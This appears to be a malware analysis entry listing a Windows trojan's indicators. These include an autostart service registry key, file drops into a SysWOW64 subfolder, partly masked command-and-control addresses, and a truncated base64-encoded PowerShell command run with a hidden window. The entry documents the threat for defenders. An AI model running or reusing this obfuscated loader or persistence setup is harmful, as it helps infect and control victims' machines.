Technical Information
- [<HKLM>\System\CurrentControlSet\Services\dpmodemx] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dpmodemx] 'ImagePath' = '"%WINDIR%\SysWOW64\d3dx10_40\dpmodemx.exe"'
- 'dpmodemx' "%WINDIR%\SysWOW64\d3dx10_40\dpmodemx.exe"
- 'dpmodemx' %WINDIR%\SysWOW64\d3dx10_40\dpmodemx.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMAGcAMwBiAHYAOQBlAD0AWwBjAGgAYQByAF0ANAAyADsAJABMAHgAaQB2AG8AZgA4AD0AKAAnAEYAbwAnACsAKAAnAGUAOAA4ACcAKwAnADcAaQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIA...
- %HOMEPATH%\zd553cl\jlf7iar\t1_1hl2u.exe
- %WINDIR%\syswow64\d3dx10_40\dpmodemx.exe
- from %HOMEPATH%\zd553cl\jlf7iar\t1_1hl2u.exe to %WINDIR%\syswow64\d3dx10_40\dpmodemx.exe
- '47.##.140.164':80
- http://sa###heboom.com/admin_access/xht/
- http://47.##.140.164/lZvc3ygR7GHpB/9BWg6uRPqHW6Dq/
- DNS ASK sa###heboom.com
- '%HOMEPATH%\zd553cl\jlf7iar\t1_1hl2u.exe'
- '%WINDIR%\syswow64\d3dx10_40\dpmodemx.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMAGcAMwBiAHYAOQBlAD0AWwBjAGgAYQByAF0ANAAyADsAJABMAHgAaQB2AG8AZgA4AD0AKAAnAEYAbwAnACsAKAAnAGUAOAA4ACcAKwAnADcAaQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIA...' (with hidden window)